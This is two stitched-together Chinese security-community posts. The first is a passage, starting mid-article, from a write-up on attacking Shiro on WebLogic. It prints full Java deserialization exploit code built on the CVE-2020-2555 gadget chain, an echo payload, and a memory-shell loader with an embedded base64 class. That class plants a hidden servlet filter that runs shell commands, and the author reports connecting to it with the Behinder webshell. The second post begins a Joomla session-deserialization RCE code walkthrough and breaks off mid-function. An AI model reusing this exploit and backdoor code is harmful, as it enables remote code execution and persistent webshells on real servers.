//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, ScriptEngineManager.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
//序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
//反序列化
Util.deserialize(bytes);
这次，在使用此代码生成 `rememberMe cookie` 攻击本地部署的 Shiro 应用时，终于成功弹出了计算器，清水NB
## 下一步，成功的回显
在成功利用 `ScriptEngineManager` 执行任意代码后，下一步的目标就是实现回显了。回显代码 `Lufei`
师傅很早的时候就给出来了，但是这里要把它改成 `js` 的方式还是有些麻烦的，不过还好这块我有经验，之前在写
[JNDIExploit](https://github.com/feihong-cs/JNDIExploit) 的时候，在编写 `Tomcat-EL
Bypass`的时候就需要将大量的 Java代码转换为 JS代码，这个非常让人头痛，不过最后终于用类加载的方式解决了这个让人头痛的问题。于是可以将
`CVE-2020-2555` 修改为如下方式，结合之前 `Lufei` 师傅的 Weblogic 回显代码，最终得到的代码如下
byte[] bytes = ClassFiles.classAsBytes(WeblogicEcho.class);
String classCode = Base64.encodeToString(bytes);
String code = "var bytes = org.apache.shiro.codec.Base64.decode('" + classCode + "');\n" +
" var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
" try{\n" +
" var clazz = classLoader.loadClass('" + cls.getName() + "');\n" +
" clazz.newInstance();\n" +
" }catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
" }";
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[0]}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[0]}
);
ReflectionExtractor extractor3 = new ReflectionExtractor(
"getEngineByName",
new Object[]{"javascript"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{code}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
extractor4
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, ScriptEngineManager.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
return Util.serialize(badAttributeValueExpException);
使用此代码生成的`rememberMe cookie`，最终成功实现了回显
## 最后一步，实现内存shell
内存shell的话，之前有师傅已经写过文章了，由于 cookie 大小的限制，实际的内存shell 代码是放在 `POST Body`里面的，用
cookie 里的代码加载执行 `POST Body` 中的代码并执行从而得到内存shell。这里的内存shell，直接使用我在 `JNDIExploit`
中使用的代码，其中 cookie 中的 loader 代码如下
package com.feihong.template;
import org.apache.shiro.codec.Base64;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.work.ExecuteThread;
import weblogic.work.WorkAdapter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WeblogicMemshellLoader {
public WeblogicMemshellLoader() throws Exception {
WorkAdapter workAdapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork();
Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(workAdapter);
ServletRequestImpl servletRequest = (ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String code = servletRequest.getParameter("code");
byte[] bytes = Base64.decode(code);
Class clz;
try{
clz = classLoader.loadClass("com.feihong.template.WeblogicMemshellTemplate");
}catch(Exception e){
method.setAccessible(true);
clz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
}
clz.getConstructor(new Class[]{ServletRequestImpl.class}).newInstance(new Object[]{servletRequest});
}
}
POST Body中的代码如下
package com.feihong.template;
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.FilterManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;
import weblogic.utils.collections.MatchMap;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;
public class WeblogicMemshellTemplate {
private ServletRequestImpl servletRequest;
private String filterName = "dynamicFilter";
private String urlPattern = "/*";
public WeblogicMemshellTemplate(ServletRequestImpl servletRequest){
this.servletRequest = servletRequest;
addMemshell();
}
private void addMemshell(){
try {
Field contextField = servletRequest.getClass().getDeclaredField("context");
contextField.setAccessible(true);
WebAppServletContext servletContext = (WebAppServletContext) contextField.get(servletRequest);
FilterManager filterManager = servletContext.getFilterManager();
// 判断一下，防止多次加载， 默认只加载一次，不需要重复加载
if (!filterManager.isFilterRegistered(filterName)) {
System.out.println("[+] Add Dynamic Filter");
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
try{
clazz = cl.loadClass("com.feihong.template.DynamicFilterTemplate");
}catch(ClassNotFoundException e){
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL2ZlaWhvbmcvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQoBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAvAcAdQcA9gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBCAcA6gcA/AcA6QcBCwcBAAcBBQcBBgcBBwEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAZQBmAQAEcGFzcwwAYQBiAQAMWC1PcHRpb25zLUFpDABjAGIBABBlNDVlMzI5ZmViNWQ5MjViDABkAGIMAI8AZgcBDAwBDQEOAQAdWytdIER5bmFtaWMgRmlsdGVyIHNheXMgaGVsbG8HAQ8MARABEQEABHR5cGUMARIBEwEABWJhc2ljDADzARQMARUBFgcBFwwBGABiAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEZDAEaARsMARwBHQcBHgwBHwEgDABlASEBAAJcQQwBIgEjDAEkASUMASYBJwcBKAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASkBEwwBKgElAQAEUE9TVAwBKwEsAQABdQcBLQwBLgEvAQADQUVTBwEwDAExATIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMATMBNAwBNQE2AQAADAE1ATcMATgBJQwBOQE6DABlATsMAGwBPAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAT0BPgcBPwwBQAElDAFBAUIMAUMBRAwAXwBgAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAUUBRgEAEGphdmEvbGFuZy9PYmplY3QHAUcMAUgBSQwBSgFLBwELDAFMAU0MAU4BTwEABmVxdWFscwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAVAAZgcBUQwAcgFSAQAiY29tLmZlaWhvbmcudGVtcGxhdGUuTXlDbGFzc0xvYWRlcgwBUwFUAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24MAVUBVgcBVwwBWABgAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBWQFWAQMQeXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ1JNWTI5dEwyWmxhV2h2Ym1jdmRHVnRjR3hoZEdVdlRYbERiR0Z6YzB4dllXUmxjanNCQUFGakFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBdGtaV1pwYm1WRGJHRnpjd0VBTENoYlFreHFZWFpoTDJ4aGJtY3ZRMnhoYzNOTWIyRmtaWEk3S1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QVFBRllubDBaWE1CQUFKYlFnRUFDMk5zWVhOelRHOWhaR1Z5QVFBS1UyOTFjbU5sUm1sc1pRRUFFazE1UTJ4aGMzTk1iMkZrWlhJdWFtRjJZUXdBQmdBSEFRQWlZMjl0TDJabGFXaHZibWN2ZEdWdGNHeGhkR1V2VFhsRGJHRnpjMHh2WVdSbGNnd0FEd0FhQVFBVmFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlBUUFYS0Z0Q1NVa3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0FJUUFDQUFVQUFBQUFBQUlBQUFBR0FBY0FBUUFJQUFBQU9nQUNBQUlBQUFBR0tpdTNBQUd4QUFBQUFnQUpBQUFBQmdBQkFBQUFCQUFLQUFBQUZnQUNBQUFBQmdBTEFBd0FBQUFBQUFZQURRQU9BQUVBQ1FBUEFCQUFBUUFJQUFBQVJBQUVBQUlBQUFBUXV3QUNXU3UzQUFNcUF5cSt0Z0FFc0FBQUFBSUFDUUFBQUFZQUFRQUFBQWdBQ2dBQUFCWUFBZ0FBQUJBQUVRQVNBQUFBQUFBUUFCTUFEZ0FCQUFFQUZBQUFBQUlBRlE9PQwBWgFbDAFcAV0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAqY29tL2ZlaWhvbmcvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAjACMAJQAvACYAPAAnAD8AKABKACkAYgArAHcALQCTAC4AngAwALEAMwDCADQAyAA1ANoANgDhADcBFQA4AS8AOQFhADoBaAA7AX8APAGTAEABlgA+AZgAPwGdAEABoABCAagARABpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABJAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATQAHAE8AEQBfABQAUAAVAFEAGgBSAB0AUwAoAFUARQBYAEgAVgBKAFcATwBYAFIAWwBWAFwAZABdAGoAXgCQAGYAkwBgAJQAYQCYAGYAmwBiAJwAYwCgAGYAowBkAKQAZQCoAGcAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = null;
Class clz = cl.getClass();
while(method == null && clz != Object.class ){
try{
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clz = clz.getSuperclass();
}
}
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
}
//将 Filter 注册进 FilterManager
//参数： String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterMethod.setAccessible(true);
registerFilterMethod.invoke(filterManager, filterName, "com.feihong.template.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null);
//将我们添加的 Filter 移动到 FilterChian 的第一位
Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList");
filterPatternListField.setAccessible(true);
ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager);
//不能用 filterName 来判断，因为在 11g 中此值为空，在 12g 中正常
for(int i = 0; i < filterPatternList.size(); i++){
Object filterPattern = filterPatternList.get(i);
Field f = filterPattern.getClass().getDeclaredField("map");
f.setAccessible(true);
ServletMapping mapping = (ServletMapping) f.get(filterPattern);
f = mapping.getClass().getSuperclass().getDeclaredField("matchMap");
f.setAccessible(true);
MatchMap matchMap = (MatchMap)f.get(mapping);
Object result = matchMap.match(urlPattern);
if(result != null && result.toString().contains(urlPattern)){
Object temp = filterPattern;
filterPatternList.set(i, filterPatternList.get(0));
filterPatternList.set(0, temp);
break;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
最终使用此代码生成 `rememberMe cookie` 和 `POST
Body`，发送给服务器后，植入冰蝎内存shell，并成功连接。这里注意，冰蝎客户端需要简单改造下，至于如何改造，可以参考 `宽字节安全` 公众号的文章。
# 写在最后
为了实现成功的攻击，还是花了不少力气的，然而最后却没有成功，着实让人有些沮丧，不过整个过程还是很有意思的，这也算是一个收获吧 | 社区文章 |
### 前言:
**本文只分析发生漏洞得原因，具体pop链简略分析。**
joomla中得session会被存入数据库中，这是以前版本得RCE就可以得知得事情。
/libraries/joomla/session/storage.php:
public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
}
通过这里得到目标注册得几个函数，但是此方法为抽象类，也就是说不能实例化的，所以我们需要寻找继承了此类的类进行分析,在JSessionStorageDatabase对象中，均重写了上面的几个函数。
### 0x01 入口：
根据github给出的payload得出路由为：/index.php/component/users
根据路由找到目标文件的真实文件为：/components/com_users/users.php
此文件获取了一个task参数，这个参数不做具体分析，我们只需要得知目标会根据此参数来找到最终提交的函数
payload中有如下：
'task': 'user.login',
也就是说会提交到
user控制器下面的login方法，直接追过去就好了，具体路径为：components/com_users/controllers/user.php
代码：
public function login()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
$app = JFactory::getApplication();
$input = $app->input;
$method = $input->getMethod();
// Populate the data array:
$data = array();
$data['return'] = base64_decode($app->input->post->get('return', '', 'BASE64'));
$data['username'] = $input->$method->get('username', '', 'USERNAME');
$data['password'] = $input->$method->get('password', '', 'RAW');
$data['secretkey'] = $input->$method->get('secretkey', '', 'RAW');
// Don't redirect to an external URL.
if (!JUri::isInternal($data['return']))
{
$data['return'] = '';
}
// Set the return URL if empty.
if (empty($data['return']))
{
$data['return'] = 'index.php?option=com_users&view=profile';
}
// Set the return URL in the user state to allow modification by plugins
$app->setUserState('users.login.form.return', $data['return']);
// Get the log in options.
$options = array();
$options['remember'] = $this->input->getBool('remember', false);
$options['return'] = $data['return'];
// Get the log in credentials.
$credentials = array();
$credentials['username'] = $data['username'];
$credentials['password'] = $data['password'];
$credentials['secretkey'] = $data['secretkey'];
// Perform the log in.
if (true === $app->login($credentials, $options))
{
// Success
if ($options['remember'] == true)
{
$app->setUserState('rememberLogin', true);
}
$app->setUserState('users.login.form.data', array());
$app->redirect(JRoute::_($app->getUserState('users.login.form.return'), false));
}
else
{
// Login failed !
$data['remember'] = (int) $options['remember'];
$app->setUserState('users.login.form.data', $data);
$app->redirect(JRoute::_('index.php?option=com_users&view=login', false));
}
}
### 0x02 进入login中:
这里我们可以看下重点代码：
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
进入checkToken函数中,具体看下
$session = JFactory::getSession();
if ($session->isNew())
跟进后发现这句代码获取了现在的session对象：
public static function getSession(array $options = array())
{
if (!self::$session)
{
self::$session = self::createSession($options);
}
return self::$session;
}
这里获取到的对象其实就是当前对象，因为我在下面发现了isNew函数:
public function isNew()
{
$counter = $this->get('session.counter');
return (bool) ($counter === 1);
}
然后在跟进get函数:
public function get($name, $default = null, $namespace = 'default')
{
// Add prefix to namespace to avoid collisions
$namespace = '__' . $namespace;
if ($this->_state === 'destroyed')
{
// @TODO :: generated error here
$error = null;
return $error;
}
if (isset($_SESSION[$namespace][$name]))
{
return $_SESSION[$namespace][$name];
}
return $default;
}
也就是说此时return的是：
$_SESSION[__default][session.counter]
因为\$this->_state === 'destroyed' 判断根本不成立，在start函数中，有如下代码:
public function start()
{
if ($this->_state === 'active')
{
return;
}
$this->_start();
$this->_state = 'active';
他会将_state变量预设为active。此时的counter获取出来确实是等于1，所以会直接返回true
return (bool) ($counter === 1);
返回为真，再次回到checktoken函数：
if ($session->isNew())
{
// Redirect to login screen.
$app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
$app->redirect(JRoute::_('index.php'));
}
else
{
return false;
}
然后进入if中的真流程，重点可以看下这句：
$app->redirect(JRoute::_('index.php'));
我们跟进redirect函数：
public function redirect($url, $status = 303)
{
// Handle B/C by checking if a message was passed to the method, will be removed at 4.0
if (func_num_args() > 1)
{
$args = func_get_args();
/*
* Do some checks on the $args array, values below correspond to legacy redirect() method
*
* $args[0] = $url
* $args[1] = Message to enqueue
* $args[2] = Message type
* $args[3] = $status (previously moved)
*/
if (isset($args[1]) && !empty($args[1]) && (!is_bool($args[1]) && !is_int($args[1])))
{
// Log that passing the message to the function is deprecated
JLog::add(
'Passing a message and message type to JFactory::getApplication()->redirect() is deprecated. '
. 'Please set your message via JFactory::getApplication()->enqueueMessage() prior to calling redirect().',
JLog::WARNING,
'deprecated'
);
$message = $args[1];
// Set the message type if present
if (isset($args[2]) && !empty($args[2]))
{
$type = $args[2];
}
else
{
$type = 'message';
}
// Enqueue the message
$this->enqueueMessage($message, $type);
// Reset the $moved variable
